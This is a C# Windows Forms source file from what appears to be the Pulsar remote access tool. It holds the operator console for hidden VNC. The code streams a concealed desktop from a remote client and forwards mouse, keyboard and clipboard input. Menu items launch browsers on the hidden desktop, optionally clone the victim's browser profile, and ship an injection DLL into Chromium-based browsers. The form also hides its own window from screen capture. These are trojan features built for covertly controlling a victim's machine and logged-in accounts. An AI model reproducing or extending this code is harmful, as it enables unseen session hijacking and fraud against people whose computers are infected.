Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

906 lines
31 KiB
C#

using Gma.System.MouseKeyHook;
using Pulsar.Common.Enums;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Clipboard;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Networking;
using Pulsar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using Pulsar.Common.Messages.Monitoring.HVNC;
namespace Pulsar.Server.Forms
{
public partial class FrmHVNC : Form
{
/// <summary>
/// States whether remote mouse input is enabled.
/// </summary>
private bool _enableMouseInput;
/// <summary>
/// States whether remote keyboard input is enabled.
/// </summary>
private bool _enableKeyboardInput;
/// <summary>
/// Monitors clipboard changes on the server to send to the client
/// </summary>
private readonly ClipboardMonitor _clipboardMonitor;
/// <summary>
/// States whether bidirectional clipboard sync is enabled
/// </summary>
private bool _enableBidirectionalClipboard;
/// <summary>
/// The client which can be used for the HVNC.
/// </summary>
private readonly Client _connectClient;
/// <summary>
/// The message handler for handling the communication with the client.
/// </summary>
private readonly HVNCHandler _hVNCHandler;
/// <summary>
/// Stopwatch used to suppress FPS display during the initial seconds of the stream,
/// preventing unstable or misleading values from being shown.
/// </summary>
private readonly Stopwatch _fpsDisplayStopwatch = Stopwatch.StartNew();
/// <summary>
/// Last frames per second value to show in the title bar.
/// </summary>
private float _lastFps = -1f;
/// <summary>
/// Holds the opened HVNC form for each client.
/// </summary>
private static readonly Dictionary<Client, FrmHVNC> OpenedForms = new Dictionary<Client, FrmHVNC>();
private bool _useGPU = false;
private const int UpdateInterval = 10;
/// <summary>
/// Creates a new HVNC form for the client or gets the current open form, if there exists one already.
/// </summary>
/// <param name="client">The client used for the HVNC form.</param>
/// <returns>
/// Returns a new HVNC form for the client if there is none currently open, otherwise creates a new one.
/// </returns>
public static FrmHVNC CreateNewOrGetExisting(Client client)
{
if (OpenedForms.ContainsKey(client))
{
return OpenedForms[client];
}
FrmHVNC r = new FrmHVNC(client);
r.Disposed += (sender, args) => OpenedForms.Remove(client);
OpenedForms.Add(client, r);
return r;
}
/// <summary>
/// Initializes a new instance of the <see cref="FrmHVNC"/> class using the given client.
/// </summary>
/// <param name="client">The client used for the HVNC form.</param>
public FrmHVNC(Client client)
{
_connectClient = client;
_hVNCHandler = new HVNCHandler(client);
_clipboardMonitor = new ClipboardMonitor(client);
RegisterMessageHandler();
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
UpdateInputButtonsVisualState();
}
private void UpdateInputButtonsVisualState()
{
UpdateButtonState(btnMouse, _enableMouseInput);
UpdateButtonState(btnKeyboard, _enableKeyboardInput);
UpdateButtonState(btnBiDirectionalClipboard, _enableBidirectionalClipboard);
}
private void UpdateButtonState(Button button, bool enabled)
{
if (enabled)
{
button.BackColor = Color.FromArgb(0, 120, 0); // Dark green
button.FlatAppearance.BorderColor = Color.LimeGreen;
}
else
{
button.BackColor = Color.FromArgb(40, 40, 40); // Default dark
button.FlatAppearance.BorderColor = Color.Gray;
}
}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
/// <summary>
/// Registers the HVNC message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
_hVNCHandler.ProgressChanged += UpdateImage;
MessageHandler.Register(_hVNCHandler);
}
/// <summary>
/// Unregisters the HVNC message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_hVNCHandler);
_hVNCHandler.ProgressChanged -= UpdateImage;
_connectClient.ClientState -= ClientDisconnected;
}
/// <summary>
/// Subscribes to local mouse and keyboard events for HVNC input.
/// </summary>
private void SubscribeEvents()
{
picDesktop.MouseDown += PicDesktop_MouseDown;
picDesktop.MouseUp += PicDesktop_MouseUp;
picDesktop.MouseMove += PicDesktop_MouseMove;
picDesktop.MouseWheel += PicDesktop_MouseWheel;
picDesktop.KeyDown += PicDesktop_KeyDown;
picDesktop.KeyUp += PicDesktop_KeyUp;
picDesktop.TabStop = true;
picDesktop.Focus();
}
/// <summary>
/// Unsubscribes from local mouse and keyboard events.
/// </summary>
private void UnsubscribeEvents()
{
picDesktop.MouseDown -= PicDesktop_MouseDown;
picDesktop.MouseUp -= PicDesktop_MouseUp;
picDesktop.MouseMove -= PicDesktop_MouseMove;
picDesktop.MouseWheel -= PicDesktop_MouseWheel;
picDesktop.KeyDown -= PicDesktop_KeyDown;
picDesktop.KeyUp -= PicDesktop_KeyUp;
}
/// <summary>
/// Starts the HVNC stream and begin to receive desktop frames.
/// </summary>
private void StartStream(bool useGPU)
{
ToggleConfigurationControls(true);
picDesktop.Start();
// Subscribe to the new frame counter.
picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_hVNCHandler.EnableMouseInput = _enableMouseInput;
_hVNCHandler.EnableKeyboardInput = _enableKeyboardInput;
_hVNCHandler.MaxFramesPerSecond = 30;
_hVNCHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, useGPU);
}
/// <summary>
/// Stops the HVNC stream.
/// </summary>
private void StopStream()
{
ToggleConfigurationControls(false);
picDesktop.Stop();
// Unsubscribe from the frame counter. It will be re-created when starting again.
picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_hVNCHandler.EndReceiveFrames();
}
/// <summary>
/// Toggles the activatability of configuration controls in the status/configuration panel.
/// </summary>
/// <param name="started">When set to <code>true</code> the configuration controls get enabled, otherwise they get disabled.</param>
private void ToggleConfigurationControls(bool started)
{
btnStart.Enabled = !started;
btnStop.Enabled = started;
barQuality.Enabled = !started;
cbMonitors.Enabled = !started;
}
/// <summary>
/// Toggles the visibility of the status/configuration panel.
/// </summary>
/// <param name="visible">Decides if the panel should be visible.</param>
private void TogglePanelVisibility(bool visible)
{
panelTop.Visible = visible;
btnShow.Visible = !visible;
if (visible)
{
// Restore picture below panel
picDesktop.Top = panelTop.Bottom;
picDesktop.Height = this.ClientSize.Height - panelTop.Height;
}
else
{
// Expand picture to fill the whole window
picDesktop.Top = 0;
picDesktop.Height = this.ClientSize.Height;
}
// Keep full width either way
picDesktop.Width = this.ClientSize.Width;
this.ActiveControl = picDesktop;
}
/// <summary>
/// Called whenever the remote displays changed.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="displays">The currently available displays.</param>
private void DisplaysChanged(object sender, int displays)
{
cbMonitors.Items.Clear();
for (int i = 0; i < displays; i++)
cbMonitors.Items.Add($"Display {i + 1}");
cbMonitors.SelectedIndex = 0;
}
/// <summary>
/// Updates the current desktop image by drawing it to the desktop picturebox.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="bmp">The new desktop image to draw.</param>
private Stopwatch _stopwatch = new Stopwatch();
private int _sizeFrames = 0;
private int _remoteDesktopWidth = 0;
private int _remoteDesktopHeight = 0;
private void UpdateImage(object sender, Bitmap bmp)
{
if (!_stopwatch.IsRunning)
_stopwatch.Start();
_sizeFrames++;
double elapsedSeconds = _stopwatch.Elapsed.TotalSeconds;
if (_hVNCHandler.CurrentFps > 0)
{
_lastFps = _hVNCHandler.CurrentFps;
}
if (elapsedSeconds >= 1.0)
{
_stopwatch.Restart();
}
if (_sizeFrames >= 60)
{
_sizeFrames = 0;
long last = _hVNCHandler.LastFrameSizeBytes;
double avg = _hVNCHandler.AverageFrameSizeBytes;
if (last > 0 || avg > 0)
{
double lastKB = last / 1024.0;
double avgKB = avg / 1024.0;
this.Invoke((MethodInvoker)delegate
{
sizeLabelCounter.Text = $"{avgKB:0.0} KB";
});
}
}
picDesktop.UpdateImage(bmp, false);
// Update remote desktop dimensions for proper mouse coordinate scaling
_remoteDesktopWidth = picDesktop.ScreenWidth;
_remoteDesktopHeight = picDesktop.ScreenHeight;
}
private void FrmHVNC_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("HVNC", _connectClient);
OnResize(EventArgs.Empty); // trigger resize event to align controls
// Subscribe to displays changed event
_hVNCHandler.DisplaysChanged += DisplaysChanged;
// Request monitor count from client
_hVNCHandler.RefreshDisplays();
cbMonitors.SelectedIndex = 0;
}
/// <summary>
/// Updates the title with the current frames per second.
/// </summary>
/// <param name="e">The new frames per second.</param>
private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e)
{
float fpsToShow;
if (_fpsDisplayStopwatch.Elapsed.TotalSeconds < 2)
{
// Ignore the first 2 seconds to avoid showing fake FPS values
fpsToShow = 0f;
}
else
{
float clientFps = _hVNCHandler.CurrentFps;
fpsToShow = clientFps > 0f ? clientFps : ((_lastFps > 0f) ? _lastFps : e.CurrentFramesPerSecond);
}
this.Text = string.Format("{0} - FPS: {1:0.00}", WindowHelper.GetWindowTitle("HVNC", _connectClient), fpsToShow);
}
private void FrmHVNC_FormClosing(object sender, FormClosingEventArgs e)
{
// all cleanup logic goes here
SetClientClipboardSync(false);
UnsubscribeEvents();
if (_hVNCHandler.IsStarted) StopStream();
_hVNCHandler.DisplaysChanged -= DisplaysChanged;
UnregisterMessageHandler();
_hVNCHandler.Dispose();
_clipboardMonitor?.Dispose();
picDesktop.GetImageSafe?.Dispose();
picDesktop.GetImageSafe = null;
}
private void FrmHVNC_Resize(object sender, EventArgs e)
{
if (WindowState == FormWindowState.Minimized)
return;
panelTop.Width = this.ClientSize.Width;
picDesktop.Width = this.ClientSize.Width;
if (panelTop.Visible)
{
picDesktop.Top = panelTop.Bottom;
picDesktop.Height = this.ClientSize.Height - panelTop.Height;
}
else
{
picDesktop.Top = 0;
picDesktop.Height = this.ClientSize.Height;
}
btnShow.Left = (this.ClientSize.Width - btnShow.Width) / 2;
btnShow.Top = this.ClientSize.Height - btnShow.Height - 40;
}
private void btnStart_Click(object sender, EventArgs e)
{
if (cbMonitors.Items.Count == 0)
{
MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.",
"Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
SubscribeEvents();
StartStream(_useGPU);
}
private void btnStop_Click(object sender, EventArgs e)
{
UnsubscribeEvents();
StopStream();
}
#region HVNC Configuration
private void barQuality_Scroll(object sender, EventArgs e)
{
int value = barQuality.Value;
lblQualityShow.Text = value.ToString();
if (value < 25)
lblQualityShow.Text += " (low)";
else if (value >= 85)
lblQualityShow.Text += " (best)";
else if (value >= 75)
lblQualityShow.Text += " (high)";
else if (value >= 25)
lblQualityShow.Text += " (mid)";
this.ActiveControl = picDesktop;
}
private void btnMouse_Click(object sender, EventArgs e)
{
_enableMouseInput = !_enableMouseInput;
if (_enableMouseInput)
{
this.picDesktop.Cursor = Cursors.Hand;
btnMouse.Image = Properties.Resources.mouse_add;
btnMouse.BackColor = Color.LightGreen;
toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
}
else
{
this.picDesktop.Cursor = Cursors.Default;
btnMouse.Image = Properties.Resources.mouse_delete;
btnMouse.BackColor = DefaultBackColor;
toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
}
_hVNCHandler.EnableMouseInput = _enableMouseInput;
UpdateInputButtonsVisualState();
this.ActiveControl = picDesktop;
}
private void btnKeyboard_Click(object sender, EventArgs e)
{
_enableKeyboardInput = !_enableKeyboardInput;
if (_enableKeyboardInput)
{
this.picDesktop.Cursor = Cursors.Hand;
btnKeyboard.Image = Properties.Resources.keyboard_add;
btnKeyboard.BackColor = Color.LightGreen;
toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input.");
}
else
{
this.picDesktop.Cursor = Cursors.Default;
btnKeyboard.Image = Properties.Resources.keyboard_delete;
btnKeyboard.BackColor = DefaultBackColor;
toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input.");
}
_hVNCHandler.EnableKeyboardInput = _enableKeyboardInput;
UpdateInputButtonsVisualState();
this.ActiveControl = picDesktop;
}
private void btnBiDirectionalClipboard_Click(object sender, EventArgs e)
{
_enableBidirectionalClipboard = !_enableBidirectionalClipboard;
UpdateInputButtonsVisualState();
_clipboardMonitor.IsEnabled = _enableBidirectionalClipboard;
Debug.WriteLine(_clipboardMonitor.IsEnabled ? "HVNC: Server->Client clipboard sync enabled." : "HVNC: Server->Client clipboard sync disabled.");
SetClientClipboardSync(_enableBidirectionalClipboard);
if (_enableBidirectionalClipboard)
{
Thread clipboardThread = new Thread(() =>
{
try
{
Thread.CurrentThread.SetApartmentState(ApartmentState.STA);
if (Clipboard.ContainsText())
{
string clipboardText = Clipboard.GetText();
if (!string.IsNullOrEmpty(clipboardText))
{
Debug.WriteLine($"HVNC: Sending initial clipboard: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}...");
_connectClient.Send(new SendClipboardData { ClipboardText = clipboardText });
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"HVNC: Error sending initial clipboard: {ex.Message}");
}
});
clipboardThread.SetApartmentState(ApartmentState.STA);
clipboardThread.Start();
}
this.ActiveControl = picDesktop;
}
private void SetClientClipboardSync(bool enabled)
{
try
{
if (_connectClient != null)
{
_connectClient.ClipboardSyncEnabled = enabled;
}
_connectClient?.Send(new SetClipboardMonitoringEnabled { Enabled = enabled });
Debug.WriteLine(enabled
? "HVNC: Requested client clipboard sync enable."
: "HVNC: Requested client clipboard sync disable.");
}
catch (Exception ex)
{
Debug.WriteLine($"HVNC: Failed to update client clipboard sync state: {ex.Message}");
}
}
#endregion
#region Helper Methods
/// <summary>
/// Loads the HVNCInjection.x64.dll from the current working directory as bytes.
/// </summary>
/// <returns>The DLL bytes, or null if the file is not found.</returns>
private byte[] GetHVNCInjectionDllBytes()
{
try
{
string dllPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "HVNCInjection.x64.dll");
if (File.Exists(dllPath))
{
return File.ReadAllBytes(dllPath);
}
else
{
Debug.WriteLine($"HVNCInjection.x64.dll not found at: {dllPath}");
return null;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error loading HVNCInjection.x64.dll: {ex.Message}");
return null;
}
}
#endregion
#region MenuItems
private void menuItem1_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Explorer"
});
}
private void menuItem2_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Chrome",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
DllBytes = GetHVNCInjectionDllBytes()
});
}
private void startEdgeToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Edge",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
DllBytes = GetHVNCInjectionDllBytes()
});
}
private void startBraveToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Brave",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
DllBytes = GetHVNCInjectionDllBytes()
});
}
private void startOperaToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Opera",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
DllBytes = GetHVNCInjectionDllBytes()
});
}
private void startOperaGXToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "OperaGX",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
DllBytes = GetHVNCInjectionDllBytes()
});
}
private void startFirefoxToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Mozilla",
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked
});
}
private void startCmdToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Cmd"
});
}
private void startPowershellToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Powershell"
});
}
private void startCustomPathToolStripMenuItem_Click(object sender, EventArgs e)
{
FrmCustomFileStarter fileSelectionForm = new FrmCustomFileStarter(_connectClient, typeof(StartHVNCProcess));
fileSelectionForm.ShowDialog();
}
private void startGenericChromiumToolStripMenuItem_Click(object sender, EventArgs e)
{
FrmHVNCPopUp genericBrowserForm = new FrmHVNCPopUp(_connectClient, GetHVNCInjectionDllBytes());
genericBrowserForm.ShowDialog();
}
private void cLONEBROWSERPROFILEToolStripMenuItem_Click(object sender, EventArgs e)
{
cLONEBROWSERPROFILEToolStripMenuItem.Checked = !cLONEBROWSERPROFILEToolStripMenuItem.Checked;
if (cLONEBROWSERPROFILEToolStripMenuItem.Checked)
{
cLONEBROWSERPROFILEToolStripMenuItem.Text = "CLONE BROWSER PROFILE";
}
else
{
cLONEBROWSERPROFILEToolStripMenuItem.Text = "DIRECT START BROWSER";
}
}
#endregion
#region Input Event Handlers
/// <summary>
/// Scales the X coordinate from the control space to the remote desktop space.
/// Uses floating-point math for more accurate scaling, then rounds to nearest integer.
/// </summary>
private int ScaleX(int x)
{
if (_remoteDesktopWidth == 0 || picDesktop.Width == 0)
return x;
return (int)Math.Round((double)x * _remoteDesktopWidth / picDesktop.Width);
}
/// <summary>
/// Scales the Y coordinate from the control space to the remote desktop space.
/// Uses floating-point math for more accurate scaling, then rounds to nearest integer.
/// </summary>
private int ScaleY(int y)
{
if (_remoteDesktopHeight == 0 || picDesktop.Height == 0)
return y;
return (int)Math.Round((double)y * _remoteDesktopHeight / picDesktop.Height);
}
private void PicDesktop_MouseDown(object sender, MouseEventArgs e)
{
if (!_enableMouseInput) return;
uint message = e.Button switch
{
MouseButtons.Left => 0x0201,
MouseButtons.Right => 0x0204,
MouseButtons.Middle => 0x0207,
_ => 0
};
if (message == 0) return;
int wParam = 0;
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
}
private void PicDesktop_MouseUp(object sender, MouseEventArgs e)
{
if (!_enableMouseInput) return;
uint message = e.Button switch
{
MouseButtons.Left => 0x0202,
MouseButtons.Right => 0x0205,
MouseButtons.Middle => 0x0208,
_ => 0
};
if (message == 0) return;
int wParam = 0;
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
}
private void PicDesktop_MouseMove(object sender, MouseEventArgs e)
{
if (!_enableMouseInput) return;
uint message = 0x0200;
int wParam = 0;
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
}
private void PicDesktop_MouseWheel(object sender, MouseEventArgs e)
{
if (!_enableMouseInput) return;
int x = ScaleX(e.X);
int y = ScaleY(e.Y);
if (e.Delta != 0)
{
int buttonMask = e.Delta > 0 ? 0x0010 : 0x0020; // Wheel up/down
_hVNCHandler.SendMouseEvent(0x0201, buttonMask, (y << 16) | (x & 0xFFFF));
_hVNCHandler.SendMouseEvent(0x0202, 0, (y << 16) | (x & 0xFFFF));
}
}
private void PicDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (!_enableKeyboardInput) return;
uint message = 0x0100; // WM_KEYDOWN
int wParam = (int)e.KeyCode;
int lParam = BuildKeyboardLParam(e.KeyCode, false); // false = key down
_hVNCHandler.SendKeyboardEvent(message, wParam, lParam);
}
private void PicDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (!_enableKeyboardInput) return;
uint message = 0x0101; // WM_KEYUP
int wParam = (int)e.KeyCode;
int lParam = BuildKeyboardLParam(e.KeyCode, true); // true = key up
_hVNCHandler.SendKeyboardEvent(message, wParam, lParam);
}
#endregion
private void btnHide_Click(object sender, EventArgs e)
{
TogglePanelVisibility(false);
}
private void btnShow_Click(object sender, EventArgs e)
{
TogglePanelVisibility(true);
}
private void startDiscordToolStripMenuItem_Click(object sender, EventArgs e)
{
_connectClient.Send(new StartHVNCProcess
{
Path = "Discord"
});
}
#region Win32 API and Helper Methods
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
/// <summary>
/// Builds the appropriate lParam value for keyboard messages.
/// </summary>
/// <param name="keyCode">The Windows Forms key code</param>
/// <param name="isKeyUp">True if this is a key up event, false for key down</param>
/// <returns>The properly formatted lParam for the keyboard message</returns>
private int BuildKeyboardLParam(Keys keyCode, bool isKeyUp)
{
int vk = (int)keyCode;
uint scanCode = MapVirtualKey((uint)vk, 0); // MAPVK_VK_TO_VSC = 0
int lParam = 0;
lParam |= 1;
lParam |= (int)(scanCode << 16);
if (IsExtendedKey(vk))
{
lParam |= (1 << 24);
}
if (isKeyUp)
{
lParam |= (1 << 30);
lParam |= (1 << 31);
}
return lParam;
}
/// <summary>
/// Determines if a virtual key code represents an extended key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is an extended key</returns>
private bool IsExtendedKey(int virtualKey)
{
switch (virtualKey)
{
case (int)Keys.Prior: // Page Up
case (int)Keys.Next: // Page Down
case (int)Keys.End: // End
case (int)Keys.Home: // Home
case (int)Keys.Left: // Left arrow
case (int)Keys.Up: // Up arrow
case (int)Keys.Right: // Right arrow
case (int)Keys.Down: // Down arrow
case (int)Keys.Insert: // Insert
case (int)Keys.Delete: // Delete
case (int)Keys.LWin: // Left Windows
case (int)Keys.RWin: // Right Windows
case (int)Keys.Apps: // Menu
case (int)Keys.LShiftKey: // Left Shift (when differentiated)
case (int)Keys.RShiftKey: // Right Shift
case (int)Keys.LControlKey: // Left Control
case (int)Keys.RControlKey: // Right Control
case (int)Keys.LMenu: // Left Alt
case (int)Keys.RMenu: // Right Alt
case (int)Keys.Scroll: // Scroll Lock
return true;
default:
return false;
}
}
#endregion
}
}